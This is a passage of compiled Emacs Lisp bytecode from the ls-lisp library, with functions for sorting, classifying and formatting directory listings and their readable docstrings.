\f#\262\301\225\262\303\304\f #\262\301\225\262\203\373 \203\373 \nV\203t V\203t \305\f &\262\262\n\262 \306\262\202\nU\203\340 U\203\340 \302\262\307\f#\307\f#\303\310\"\303\310\"\203\260 \211\203\260 GGZZ\262\n\202\304 \203\274 [\262\n\202\304 \211\203\304 \262\n \301U\203\324 \311!\311!Z\262\n\262\262 \266\202\305\f \302 \302&\262\262\n\262 \202\305\f \302 \302&\262\262\n\262 \306=\203\f \301\262\202\f \301U\203,Z\262\301W\207" [ls-lisp-ignore-case 0 nil string-match "[0-9]+" compare-strings t substring "\\`0+" string-to-number] 20 (#$ . 15941)]) #@145 Return new FILE-ALIST sorted according to SWITCHES. SWITCHES is a list of characters. Default sorting is alphabetic. (fn FILE-ALIST SWITCHES) (defalias 'ls-lisp-handle-switches #[514 "\301>\204a \3021Q \303C\304\305!\306>\203 \307\202G \310!\240\2032 \311\312\313\314\315!\316\"\317\320%\202G \321>\203< \322\202G \323>\203F \324\202G \325\"\262\211\2620\202` \326\327\330!\"\210\331 \210\332\333!\262\210\334>\203m \335\336\"\262\203\272 \303\211\211\203\247 @\211\262A@\337=\204\223 A@;\203\233 \340A@!\203\233 B\262\202\240 B\262A\262\202t \301>\203\263 \244\202\266 \211\244\262\266\301>?\341>?==\203\313 \237\207\207" [ls-lisp-dirs-first 85 (error) nil sort copy-sequence 83 #[514 "\211A\3008\262A\3008\262W\207" [7] 6 "\n\n(fn X Y)"] ls-lisp-time-index make-byte-code 514 "\301\300\242A8\300\242A8\"\207" vconcat vector [time-less-p] 6 "\n\n(fn X Y)" 88 #[514 "\304@!\304@!\n\203 \305\306 $\202+ \307\310\306\310\306 &\211\247\205) \211\310W\262)\207" [ls-lisp-UCA-like-collation w32-collate-ignore-punctuation ls-lisp-use-string-collate ls-lisp-ignore-case ls-lisp-extension string-collate-lessp nil compare-strings 0] 12 "\n\n(fn X Y)"] 118 #[514 "\300@@\"\207" [ls-lisp-version-lessp] 5 "\n\n(fn X Y)"] #[514 "@@\n\203 \304\305 $\202' \306\307\305\307\305 &\211\247\205% \211\307W\262)\207" [ls-lisp-UCA-like-collation w32-collate-ignore-punctuation ls-lisp-use-string-collate ls-lisp-ignore-case string-collate-lessp nil compare-strings 0] 12 "\n\n(fn X Y)"] message "Unsorted (ls-lisp sorting error) - %s" error-message-string ding sit-for 2 70 mapcar ls-lisp-classify t file-directory-p 114] 11 (#$ . 17108)]) #@449 Append a character to FILENAME indicating the file type. This function puts the `dired-filename' property on FILENAME, but not on the character indicator it appends. FATTR is the file attributes returned by `file-attributes' for the file. The file type indicators are `/' for directories, `@' for symbolic links, `|' for FIFOs, `=' for sockets, `*' for regular files that are executable, and nothing for other types of files. (fn FILENAME FATTR) (defalias 'ls-lisp-classify-file #[514 "\211\211@\262\3008\262\301\302\303#\304\305\306#\203) \211\306=\203$ \307\202% \310P\202O \311\312\"\2036 \211\313P\202O \314\230\203B \211\315P\202O \316\230\203N \211\317P\202O \211\207" [8 substring 0 1 propertize dired-filename t "/" "@" string-match "x" "*" "p" "|" "s" "="] 9 (#$ . 18812)]) #@401 Append a character to file name in FILEDATA indicating the file type. FILEDATA has the form (FILENAME . ATTRIBUTES), where ATTRIBUTES is the structure returned by `file-attributes' for that file. The file type indicators are `/' for directories, `@' for symbolic links, `|' for FIFOs, `=' for sockets, `*' for regular files that are executable, and nothing for other types of files. (fn FILEDATA) (defalias 'ls-lisp-classify #[257 "\211@A\300\"B\207" [ls-lisp-classify-file] 6 (#$ . 19615)]) #@142 Return extension of FILENAME (ignoring any version extension) FOLLOWED by null and full filename, SOLELY for full alpha sort. (fn FILENAME) (defalias 'ls-lisp-extension #[257 "\211G\300SH\301U\203 \302\202b S\211\262\303Y\203\" H\301U\203 \303W\203, \304\202b TH\305U\204= \306T\"\202b \262S\211\262\303Y\203R H\301U\203@ \303W\203\\ \304\202b \306T#\266\202\302Q\207" [nil 46 " " 0 " " 126 substring] 7 (#$ . 20121)]) #@237 Format one line of long ls output for file FILE-NAME. FILE-ATTR and FILE-SIZE give the file's attributes and size. SWITCHES and TIME-INDEX give the full switch list and time data. (fn FILE-NAME FILE-ATTR FILE-SIZE SWITCHES TIME-INDEX) (defalias 'ls-lisp-format #[1285 "\211@\262\3068\262\307>\205 \3108\262\311\312\"\262\313>\205B \314>\2039 \311\315\316\317\320\n\321\245!_!\"\202B \311\320\322\245!\"\323 >\205S \311\324\n\211A@\262\"\325 >\205o \3268\262\311;\203j \n\202k \"\262\327 >?\205\232 \330 >\204\204 \331 >\205\232 \n\3328\262\311;\203\225 \f\202\226 \"\262\333 \314\f>\"\334\335\f\"\334\336>\204\272 \337\340\341#\202\274 \f;\205\306 \342 P\343\260 \207" [ls-lisp-filesize-b-fmt ls-lisp-verbosity ls-lisp-uid-s-fmt ls-lisp-uid-d-fmt ls-lisp-gid-s-fmt ls-lisp-gid-d-fmt 8 105 10 format " %18d " 115 104 "%6s " file-size-human-readable 1024.0 fceiling 1024.0 1024.0 links "%3d" uid 2 71 103 gid 3 ls-lisp-format-file-size " " ls-lisp-format-time 70 propertize dired-filename t " -> " "\n"] 21 (#$ . 20573)]) #@122 Return time index into file-attributes according to ls SWITCHES list. Return nil if no time switch found. (fn SWITCHES) (defalias 'ls-lisp-time-index #[257 "\300>\203 \301\207\302>\203 \303\207\304>\205 \305\207" [99 6 116 5 117 4] 3 (#$ . 21652)]) #@288 Format time for file with attributes FILE-ATTR according to TIME-INDEX. Use the same method as ls to decide whether to show time-of-day or year, depending on distance between file date and the current time. All ls time options, namely c, t and u, are handled. (fn FILE-ATTR TIME-INDEX) (defalias 'ls-lisp-format-time #[514 "\211\206 \3038\304\305\"\306\3071l \211\204, \310\211\203+ \311@!\211\262\204+ \211A\262\202 \210\211\312\235\2035 \305\262\313\314\"\204U \314\315\"\204U \203P \204P \316\202d \n@\202d \203a \204a \317\202d \nA@\"\2620\202n \210\320\207" [system-time-locale ls-lisp-use-localized-time-format ls-lisp-format-time-list 5 time-subtract nil -15778476 (error) ("LC_ALL" "LC_TIME" "LANG") getenv ("C" "POSIX") format-time-string time-less-p 0 "%m-%d %H:%M" "%Y-%m-%d " "Unk 0 0000"] 10 (#$ . 21915)]) #@33 (fn FILE-SIZE HUMAN-READABLE) (defalias 'ls-lisp-format-file-size #[514 "\211\204 \302\303!\203 \202 \"\207\302\304\305!\"\207" [ls-lisp-filesize-f-fmt ls-lisp-filesize-d-fmt format floatp " %6s" file-size-human-readable] 6 (#$ . 22762)]) #@25 Unload ls-lisp library. (defalias 'ls-lisp-unload-function #[0 "\300\301\302\"\210\300\303\304\"\210\305\207" [advice-remove insert-directory ls-lisp--insert-directory dired ls-lisp--dired nil] 3 (#$ . 23017)]) (provide 'ls-lisp)
Close
